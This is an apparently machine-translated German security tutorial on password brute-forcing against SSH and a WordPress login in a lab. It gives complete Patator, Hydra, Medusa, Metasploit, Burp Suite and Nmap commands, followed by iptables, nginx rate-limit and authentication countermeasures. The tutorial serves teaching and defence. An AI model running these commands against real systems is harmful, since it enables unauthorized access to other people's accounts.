
Brute-Force (Brute-Force-Angriff) ist eine Methode zur Lösung mathematischer Probleme, deren Komplexität von der Anzahl aller möglichen Lösungen abhängt. Der Begriff Brute-Force selbst wird normalerweise im Zusammenhang mit Hackerangriffen verwendet, wenn ein Angreifer versucht, einen Benutzernamen / ein Kennwort für ein Konto oder einen Dienst abzurufen.
Betrachten Sie die Tools, mit denen Sie Brute-Force-Angriffe auf SSH- und WEB-Dienste ausführen können, die in Kali Linux (Patator, Medusa, Hydra, Metasploit) sowie in BurpSuite verfügbar sind.
Alle in diesem Artikel bereitgestellten Materialien sind nur für Bildungszwecke bestimmt. Die Verwendung von Materialien in rechtswidriger und illegaler Form ist verboten.
Brute-Force-SSH
Nehmen Sie beispielsweise den Testcomputer 192.168.60.50 und versuchen Sie, das Kennwort des Benutzertests per SSH zu ermitteln. Wir werden gängige Passwörter aus dem Standardwörterbuch rockyou.txt verwenden.
PatatorVerwenden Sie den folgenden Befehl, um ein Kennwort mit Patator auszuwählen:
patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'
wo:
ssh_login - erforderliches Modul
Gastgeber ist unser Ziel
Benutzer -
Benutzeranmeldung , bei der ein Kennwort oder eine Datei mit Anmeldungen zur Mehrfachauswahl ausgewählt wird
Passwort - Wörterbuch mit Passwörtern
-x ignore: mesg = 'Authentifizierung fehlgeschlagen' - Der Befehl zeigt keine Zeile mit dieser Nachricht an. Der Filterparameter wird individuell ausgewählt.

HydraFühren Sie den folgenden Befehl aus, um mit Hydra ein Kennwort auszuwählen:
hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50
wo:
-V - Zeigt während der Iteration ein Paar Benutzername + Passwort an
-f - Stopp, sobald das Passwort für das angegebene Login gefunden wurde
-P - Pfad zum Wörterbuch mit Passwörtern
ssh: //192.168.60.50 - Dienstanzeige und IP-Adresse des Opfers

MedusaFühren Sie den folgenden Befehl aus, um ein Kennwort mit Medusa auszuwählen:
medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6
wo:
-h - IP-Adresse des Opfers
-u - Login
-P - Wörterbuchpfad
-M - Modulauswahl
-f - Stopp, nachdem ein gültiges Paar aus Benutzername und Passwort gefunden wurde
-v - Einstellen der Anzeige von Nachrichten auf dem Bildschirm während des Auswahlprozesses

MetasploitWir werden nach einem Tool suchen, mit dem Brute-Force-Angriffe auf SSH durchgeführt werden können:
search ssh_login
und
search ssh_login
die Antwort:

Wir verwenden das Modul:
use auxiliary/scanner/ssh/ssh_login
Verwenden Sie den Befehl
show options
, um die erforderlichen Parameter anzuzeigen. Für uns ist es:
Rhosts - IP-Adresse des Opfers
rport - port
Benutzername - SSH-Login
userpass_file - Pfad zum Wörterbuch
stop_on_success - Stopp, sobald ein Benutzername / Passwort-Paar vorhanden ist
Threads - Anzahl der Threads

Die Anzeige der notwendigen Parameter erfolgt über den Befehl "
set ".
set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22
Nachdem wir die erforderlichen Parameter angegeben haben, geben wir den Befehl "
run " ein und warten.

Gegenwirkung
Begrenzen Sie die Anzahl der hergestellten Verbindungen mithilfe einer Firewall. Beispiel für die Einrichtung von iptables:
-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset
.
Eine solche Regel beschränkt den Zugriff auf SSH für jede IP-Adresse auf 1 Verbindung pro Sekunde, was die Suche erheblich erschwert. Eine effektive Lösung kann auch die Verwendung der Zwei-Faktor-Authentifizierung (z. B. mithilfe von eToken) oder die Authentifizierung mithilfe eines Schlüsselpaars sowie die Verwendung von ACLs sein, die auf IP-Adressen basieren.
Brute-Force-WordPress
Schauen wir uns ein anderes Beispiel an - die Auswahl eines Kennworts für ein Webformular-Autorisierungsfenster.

Zum Beispiel werden wir das Passwort aus dem WordPress-Administratorkonto auswählen.
BurpsuiteZunächst müssen wir verstehen, wie der Autorisierungsprozess abläuft. Dafür verwenden wir BurpSuite. Wir müssen versuchen, uns mit einem beliebigen Passwort anzumelden und uns anzumelden, um zu sehen, welche Anforderungen über BurpSuite gesendet werden.

Nun, wir haben eine POST-Autorisierungsanfrage gesehen, wir werden damit arbeiten.
BODY gibt an, welche Anmeldung und welches Passwort überprüft wurden. Dies bedeutet, dass wir versuchen können, die benötigten Werte selbst zu ersetzen.
Wir leiten diese Anfrage an Intruder weiter und wählen dort die notwendigen Parameter für den Angriff aus. Im Element Payload Positions belassen wir den Angriffstyp als Scharfschützen, zur Überprüfung belassen wir jedoch nur den Parameter pwd. Ein Angriff ändert also nur diesen Parameter.

Wir laden das notwendige Wörterbuch und beginnen den Angriff.

Aus dem Verhalten der Webanwendung geht hervor, dass das falsche Kennwort den Antwortcode 200 zurückgibt. Nach dem Aufzählen des Wörterbuchs sehen wir, dass eines der Kennwörter die Antwort mit dem Code 302 gegeben hat - es ist korrekt.

Diese Brute-Force-Methode dauert viel länger als bei Verwendung von Patator, Hydra, Medusa usw. Obwohl wir ein kleines Wörterbuch genommen haben, hat BurpSuite das Wörterbuch etwa 40 Minuten lang durchlaufen.
HydraVersuchen wir, das Passwort mit Hydra zu finden.
Wie wir bereits wissen, wird bei falscher Autorisierung der Code 200 zurückgegeben, und bei Erfolg lautet der Code 302. Versuchen wir, diese Informationen zu verwenden.
Verwenden Sie zum Starten den folgenden Befehl:
hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"
Hier geben wir die erforderlichen Parameter an:
-l - Benutzername
-P - Wörterbuch mit Passwörtern
-t - Anzahl der Threads
http-post-form - Art des Formulars, wir haben POST.
/wp-login.php ist die URL der Autorisierungsseite
^ USER ^ - zeigt an, wo der Benutzername ersetzt werden soll
^ PASS ^ - zeigt an, wo das Passwort aus dem Wörterbuch ersetzt werden soll
S = 302 - ein Hinweis darauf, welche Antwort auf Hydra zu verlassen ist. In unserem Fall lautet die Antwort nach erfolgreicher Autorisierung 302.

PatatorWie wir bereits wissen, wird bei fehlgeschlagener Autorisierung der Code 200 zurückgegeben, und bei Erfolg wird 302 zurückgegeben. Wir verwenden dasselbe Prinzip wie bei Hydra:
Der Start wird mit dem folgenden Befehl ausgeführt:
patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1
http_fuzz - Modul für Brute-Force-HTTP-Angriffe
URL - Adresse der Seite mit Autorisierung
FILE0 - Pfad zum Wörterbuch mit Passwörtern
body - Informationen, die während der Autorisierung in der POST-Anforderung übertragen werden
-t - Anzahl der Threads
-x - In diesem Fall haben wir den Befehl angegeben, keine Nachrichtenzeilen anzuzeigen, die einen Parameter mit dem Code 200 enthalten
accept_cookie - Cookie-Parameter speichern und an die nächste Anfrage übergeben
Infolgedessen konnten wir ein Passwort finden.

NmapDas Dienstprogramm Nmap ermöglicht unter anderem die Auswahl von Kennwörtern für Webautorisierungsformulare, wenn Sie das Skript
http-wordpress-brute mit den entsprechenden Argumenten verwenden:
--script-args - Argumente hinzufügen
user oder
userdb - Login oder Datei mit Logins
pass oder
passdb -
Geben Sie ein Passwort oder ein Wörterbuch an
thread - Anzahl der Threads
firstonly = true -
Zeigt das Ergebnis nach dem ersten richtigen Passwort an
nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

Gegenwirkung
Begrenzen Sie (komplizierte) Brute-Force-Angriffe auf Webanwendungen mithilfe von iptables (ähnlich wie SSH) und nginx. Erstellen Sie dazu eine Grenzzone:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...
und benutze es:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}
Durch diese Einstellungen wird die Anzahl der Anforderungen von einer IP-Adresse auf 40 pro Sekunde begrenzt.
Um die Aufzählungsaufgabe zu verkomplizieren, können Sie die folgenden Methoden verwenden:
- Verwendung einer Firewall und anderer Software, um die Anzahl der Anrufe an den geschützten Dienst zu begrenzen. In einem
Artikel erfahren Sie, wie wir maschinelles Lernen verwenden, um solche Angriffe (einschließlich verteilter Angriffe) zu erkennen.
- Verwendung von Tools, die eine schnelle Überprüfung der Richtigkeit des Schlüssels verhindern (z. B. Captcha).
Fazit
In diesem Artikel haben wir einige beliebte Tools oberflächlich untersucht. Sie können das Risiko des Erraten von Passwörtern verringern, indem Sie die folgenden Richtlinien befolgen:
- Verwenden Sie passwortsichere Passwörter.
- Erstellen Sie keine Passwörter mit persönlichen Informationen, zum Beispiel: Geburtsdatum oder Name + Geburtsdatum oder Mobiltelefon;
- das Passwort regelmäßig ändern;
- Verwenden Sie für alle Konten eindeutige Kennwörter.
Nur wenige Menschen befolgen solche Empfehlungen (sowie Empfehlungen für eine sichere Webentwicklung). Daher müssen Sie verschiedene Softwarelösungen verwenden, mit denen Sie:
- die Verbindung nach IP-Adresse einschränken oder, falls dies nicht möglich ist, die gleichzeitige Anzahl von Verbindungen zum Dienst begrenzen (unter Verwendung von iptables, nginx und anderen);
- Zwei-Faktor-Authentifizierung verwenden;
- Erkennen und blockieren Sie solche Angriffe mit SIEM,
WAF oder anderen (z. B. fail2ban).